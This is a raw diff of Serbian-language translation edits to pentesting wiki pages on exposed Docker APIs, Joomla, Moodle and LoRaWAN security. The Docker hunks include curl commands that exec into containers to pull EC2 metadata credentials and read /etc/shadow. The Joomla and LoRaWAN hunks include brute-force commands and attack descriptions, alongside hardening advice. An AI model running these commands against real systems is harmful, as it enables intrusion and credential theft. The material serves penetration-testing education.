Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockera, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima. Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockera, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.
> [!NOTE] > [!TIP]
> Imajte na umu da, kako Podman teži da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su: > Imajte na umu da, kako Podman teži da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su:
> >
> ```bash > ```bash
@ -98,7 +98,7 @@ PORT STATE SERVICE
#### Manual #### Manual
Napomena: da biste enumerisali docker API, možete koristiti `docker` komandu ili `curl` kao u sledećem primeru: Napomena da da biste enumerisali docker API možete koristiti `docker` komandu ili `curl` kao u sledećem primeru:
```bash ```bash
#Using curl #Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version curl -s http://open.docker.socket:2375/version | jq #Get version
@ -136,7 +136,7 @@ GitCommit: fec3683
``` ```
Ako možete **kontaktirati udaljeni docker API sa `docker` komandom** možete **izvršiti** bilo koju od **docker** [**komandi koje su prethodno** komentarisane](2375-pentesting-docker.md#basic-commands) da biste komunicirali sa servisom. Ako možete **kontaktirati udaljeni docker API sa `docker` komandom** možete **izvršiti** bilo koju od **docker** [**komandi koje su prethodno** komentarisane](2375-pentesting-docker.md#basic-commands) da biste komunicirali sa servisom.
> [!NOTE] > [!TIP]
> Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom > Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom
**Brza eskalacija privilegija** **Brza eskalacija privilegija**
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container #List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL #Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output #Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up) # list secrets (no secrets/swarm not set up)
@ -199,14 +199,14 @@ cat /mnt/etc/shadow
### Eskalacija privilegija ### Eskalacija privilegija
Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da povećate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket). Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da eskalirate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### Otkriće tajni u aktivnim Docker kontejnerima ### Otkriće tajni u aktivnim Docker kontejnerima
```bash ```bash
docker ps [| grep <kubernetes_service_name>] docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id> docker inspect <docker_id>
``` ```
Proverite **env** (sekcija promenljivih okruženja) za tajne i možda ćete pronaći: Proverite **env** (sekciju promenljivih okruženja) za tajne i možda ćete pronaći:
- Lozinke. - Lozinke.
- IP adrese. - IP adrese.
@ -218,9 +218,9 @@ Ako želite da izvučete datoteku:
```bash ```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01> docker cp <docket_id>:/etc/<secret_01> <secret_01>
``` ```
### Osiguranje vašeg Dockera ### Osiguravanje vašeg Dockera
#### Osiguranje Docker instalacije i korišćenja #### Osiguravanje Docker instalacije i korišćenja
- Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju. - Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju.
- `./docker-bench-security.sh` - `./docker-bench-security.sh`
@ -231,15 +231,15 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `docker run --rm -it --pid host r.j3ss.co/amicontained` - `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Osiguranje Docker slika #### Osiguravanje Docker slika
- Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti. - Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti.
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` - `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` - `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Osiguranje Dockerfile-ova #### Osiguravanje Dockerfile-ova
- Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete pronaći ovde [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih. - Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete ovde pronaći [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih.
- `dockerfilelinter -f Dockerfile` - `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>) ![](<../images/image (176).png>)
@ -259,7 +259,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
![](<../images/image (501).png>) ![](<../images/image (501).png>)
#### Beleženje sumnjive aktivnosti #### Zapisivanje sumnjive aktivnosti
- Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da detektujete **sumnjivo ponašanje u pokrenutim kontejnerima**. - Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da detektujete **sumnjivo ponašanje u pokrenutim kontejnerima**.
- Obratite pažnju u sledećem delu kako **Falco kompajlira kernel modul i umetne ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je detektovao 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim montiranjem, i nakon nekoliko sekundi je detektovao kako je shell otvoren unutar jednog od kontejnera. - Obratite pažnju u sledećem delu kako **Falco kompajlira kernel modul i umetne ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je detektovao 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim montiranjem, i nakon nekoliko sekundi je detektovao kako je shell otvoren unutar jednog od kontejnera.

View File

@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this? 1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x * This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org * Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history * Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
``` ```
### Verzija ### Verzija
@ -73,7 +73,7 @@ droopescan scan joomla --url http://joomla-site.local/
``` ```
U[ **80,443 - Pentesting Web Methodology je sekcija o CMS skenerima**](#cms-scanners) koji mogu skenirati Joomla. U[ **80,443 - Pentesting Web Methodology je sekcija o CMS skenerima**](#cms-scanners) koji mogu skenirati Joomla.
### API Neautentifikovana Otkrića Informacija: ### API Neautentifikovana Otkrivanje Informacija:
Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije. Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija (CVE-2023-23752) koje će izbaciti kredencijale i druge informacije.
@ -84,7 +84,7 @@ Verzije od 4.0.0 do 4.2.7 su podložne neautentifikovanom otkrivanju informacija
### Brute-Force ### Brute-Force
Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate brute force prijavu. Možete koristiti ovu [skriptu](https://github.com/ajnik/joomla-bruteforce) da pokušate da brute force-ujete prijavu.
```shell-session ```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -106,7 +106,7 @@ Ako ste uspeli da dobijete **admin kredencijale**, možete **RCE unutar njega**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla skripta za eksploataciju koja **povećava XSS na RCE ili druge kritične ranjivosti**. Za više informacija pogledajte [**ovaj post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Joomla verzije 5.X.X, 4.X.X i 3.X.X, i omogućava:** - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla skripta za eksploataciju koja **povećava XSS na RCE ili druge kritične ranjivosti**. Za više informacija pogledajte [**ovaj post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Joomla verzije 5.X.X, 4.X.X i 3.X.X, i omogućava:**
- _**Povećanje privilegija:**_ Kreira korisnika u Joomli. - _**Povećanje privilegija:**_ Kreira korisnika u Joomli.
- _**(RCE) Uređivanje ugrađenih tema:**_ Uređuje ugrađene teme u Joomli. - _**(RCE) Uređivanje ugrađenih tema:**_ Uređuje ugrađene teme u Joomli.
- _**(Prilagođeni) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu. - _**(Custom) Prilagođene eksploatacije:**_ Prilagođene eksploatacije za dodatke trećih strana za Joomlu.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Automatske skeniranja ## Automatske Skeniranja
### droopescan ### droopescan
```bash ```bash
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta 3.10.0-beta
[+] Possible interesting urls found: [+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - http://moodle.schooled.htb/moodle/login/ Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed) [+] Scan finished (0:00:05.643539 elapsed)
``` ```

View File

@ -4,7 +4,7 @@
## Introduction ## Introduction
**Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** sa niskom brzinom prenosa podataka. **Low-Power Wide Area Network** (LPWAN) je grupa bežičnih, niskopotrošnih, širokopojasnih mrežnih tehnologija dizajniranih za **dugometražne komunikacije** pri niskoj brzini prenosa podataka.
Mogu dostići više od **šest milja** i njihove **baterije** mogu trajati do **20 godina**. Mogu dostići više od **šest milja** i njihove **baterije** mogu trajati do **20 godina**.
Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a njegova otvorena MAC-sloj specifikacija je **LoRaWAN**. Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a njegova otvorena MAC-sloj specifikacija je **LoRaWAN**.
@ -14,7 +14,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
## LPWAN, LoRa, i LoRaWAN ## LPWAN, LoRa, i LoRaWAN
* LoRa Chirp Spread Spectrum (CSS) fizički sloj razvijen od strane Semtech (vlasnički, ali dokumentovan). * LoRa Chirp Spread Spectrum (CSS) fizički sloj razvijen od strane Semtech (vlasnički, ali dokumentovan).
* LoRaWAN Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene na terenu. * LoRaWAN Otvoreni MAC/mrežni sloj koji održava LoRa-Alliance. Verzije 1.0.x i 1.1 su uobičajene u praksi.
* Tipična arhitektura: *kraj uređaja → prolaznik (packet-forwarder) → mrežni server → aplikacioni server*. * Tipična arhitektura: *kraj uređaja → prolaznik (packet-forwarder) → mrežni server → aplikacioni server*.
> **Model bezbednosti** se oslanja na dva AES-128 korenska ključa (AppKey/NwkKey) koja izvode sesijske ključeve tokom *join* procedure (OTAA) ili su hard-kodirani (ABP). Ako bilo koji ključ procuri, napadač dobija potpunu mogućnost čitanja/pisanja nad odgovarajućim saobraćajem. > **Model bezbednosti** se oslanja na dva AES-128 korenska ključa (AppKey/NwkKey) koja izvode sesijske ključeve tokom *join* procedure (OTAA) ili su hard-kodirani (ABP). Ako bilo koji ključ procuri, napadač dobija potpunu mogućnost čitanja/pisanja nad odgovarajućim saobraćajem.
@ -26,7 +26,7 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
| Sloj | Slabost | Praktični uticaj | | Sloj | Slabost | Praktični uticaj |
|-------|----------|------------------| |-------|----------|------------------|
| PHY | Reaktivno / selektivno ometanje | 100 % gubitak paketa demonstriran sa jednim SDR i <1 W izlazom | | PHY | Reaktivno / selektivno ometanje | 100 % gubitak paketa demonstriran sa jednim SDR i <1 W izlazom |
| MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP counter rollover) | Lažno predstavljanje uređaja, injekcija poruka, DoS | | MAC | Join-Accept & ponavljanje podataka (ponovna upotreba nonce, ABP preklapanje brojača) | Lažno predstavljanje uređaja, injekcija poruka, DoS |
| Mrežni server | Nesiguran packet-forwarder, slabi MQTT/UDP filteri, zastarela firmware prolaznika | RCE na prolaznicima → pivot u OT/IT mrežu | | Mrežni server | Nesiguran packet-forwarder, slabi MQTT/UDP filteri, zastarela firmware prolaznika | RCE na prolaznicima → pivot u OT/IT mrežu |
| Aplikacija | Hard-kodirani ili predvidljivi AppKeys | Brute-force/dekripcija saobraćaja, lažno predstavljanje senzora | | Aplikacija | Hard-kodirani ili predvidljivi AppKeys | Brute-force/dekripcija saobraćaja, lažno predstavljanje senzora |
@ -35,8 +35,8 @@ Long Range (**LoRa**) je trenutno najrasprostranjeniji LPWAN fizički sloj, a nj
## Nedavne ranjivosti (2023-2025) ## Nedavne ranjivosti (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* prihvatao TCP pakete koji su zaobišli pravila stanja vatrozida na Kerlink prolaznicima, omogućavajući izlaganje udaljenog upravljačkog interfejsa. Ispravljeno u 4.0.11 / 4.2.1. * **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* prihvatao TCP pakete koji su zaobišli pravila stanja vatrozida na Kerlink prolaznicima, omogućavajući izlaganje udaljenog upravljačkog interfejsa. Ispravljeno u 4.0.11 / 4.2.1.
* **Dragino LG01/LG308 serija** Više CVE-a iz 2022-2024 (npr. 2022-45227 prolaz kroz direktorijum, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika. * **Dragino LG01/LG308 serija** Više CVE-a iz 2022-2024 (npr. 2022-45227 pretraga direktorijuma, 2022-45228 CSRF) još uvek primećeni bez zakrpa 2025; omogućava neautentifikovano preuzimanje firmware-a ili prepisivanje konfiguracije na hiljadama javnih prolaznika.
* Semtech *packet-forwarder UDP* prelivanje (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash > RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”). * Semtech *packet-forwarder UDP* preliv (neobjavljeno obaveštenje, zakrpljeno 2023-10): kreirani uplink veći od 255 B izazvao stack-smash > RCE na SX130x referentnim prolaznicima (otkriveno na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
--- ---
@ -55,11 +55,11 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
1. Zabeležite legitimni **JoinRequest**. 1. Zabeležite legitimni **JoinRequest**.
2. Odmah ga ponovo prenesite (ili povećajte RSSI) pre nego što originalni uređaj ponovo prenese. 2. Odmah ga ponovo prenesite (ili povećajte RSSI) pre nego što originalni uređaj ponovo prenese.
3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplinke. 3. Mrežni server dodeljuje novu DevAddr i sesijske ključeve dok ciljni uređaj nastavlja sa starom sesijom → napadač poseduje praznu sesiju i može da ubaci lažne uplink-ove.
### 3. Smanjenje adaptivnog protoka podataka (ADR) ### 3. Smanjenje adaptivnog protoka podataka (ADR)
Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaza (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou). Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus gateway-a (usluga uskraćivanja) dok održavate mali uticaj na bateriju napadača (samo šaljite MAC komande na mrežnom nivou).
### 4. Reaktivno ometanje ### 4. Reaktivno ometanje
@ -72,9 +72,9 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz
| Alat | Svrha | Napomene | | Alat | Svrha | Napomene |
|------|---------|-------| |------|---------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Kreiranje/parsiranje/napad na LoRaWAN okvire, analitičari sa DB podrškom, brute-forcer | Docker slika, podržava Semtech UDP ulaz | | **LoRaWAN Auditing Framework (LAF)** | Kreiranje/parsiranje/napad na LoRaWAN okvire, analitičari sa DB podrškom, brute-forcer | Docker slika, podržava Semtech UDP ulaz |
| **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje tereta | Demo objavljen 2023, SDR-agnostičan | | **LoRaPWN** | Trend Micro Python alat za brute OTAA, generisanje downlink-ova, dešifrovanje payload-ova | Demo objavljen 2023, SDR-agnostičan |
| **LoRAttack** | Multi-kanalni sniffer + ponovna reprodukcija sa USRP; izvozi PCAP/LoRaTap | Dobra integracija sa Wireshark-om | | **LoRAttack** | Multi-kanalni sniffer + ponovna reprodukcija sa USRP; izvozi PCAP/LoRaTap | Dobra integracija sa Wireshark-om |
| **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za osnovni TX/RX | Osnova za prilagođene napade | | **gr-lora / gr-lorawan** | GNU Radio OOT blokovi za bazni prenos/primanje | Osnova za prilagođene napade |
--- ---
@ -85,11 +85,11 @@ Prisilite SF12/125 kHz da poveća vreme prenosa → iscrpite radni ciklus prolaz
3. Čuvajte brojač okvira u nevolatilnoj memoriji (**ABP**) ili migrirajte na OTAA. 3. Čuvajte brojač okvira u nevolatilnoj memoriji (**ABP**) ili migrirajte na OTAA.
4. Implementirajte **secure-element** (ATECC608A/SX1262-TRX-SE) da zaštitite korenske ključeve od ekstrakcije firmvera. 4. Implementirajte **secure-element** (ATECC608A/SX1262-TRX-SE) da zaštitite korenske ključeve od ekstrakcije firmvera.
5. Onemogućite udaljene UDP portove za prosleđivanje paketa (1700/1701) ili ih ograničite sa WireGuard/VPN. 5. Onemogućite udaljene UDP portove za prosleđivanje paketa (1700/1701) ili ih ograničite sa WireGuard/VPN.
6. Održavajte prolaze ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024. 6. Održavajte gateway-e ažuriranim; Kerlink/Dragino pružaju slike sa zakrpama iz 2024.
7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) označite resetovanja brojača, duplikate pridruživanja, iznenadne promene ADR-a. 7. Implementirajte **otkrivanje anomalija u saobraćaju** (npr. LAF analitičar) označite resetovanje brojača, duple join-ove, nagle promene ADR-a.
## Reference ## Reference
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf * LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWN pregled https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a * Trend Micro LoRaPWN pregled [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}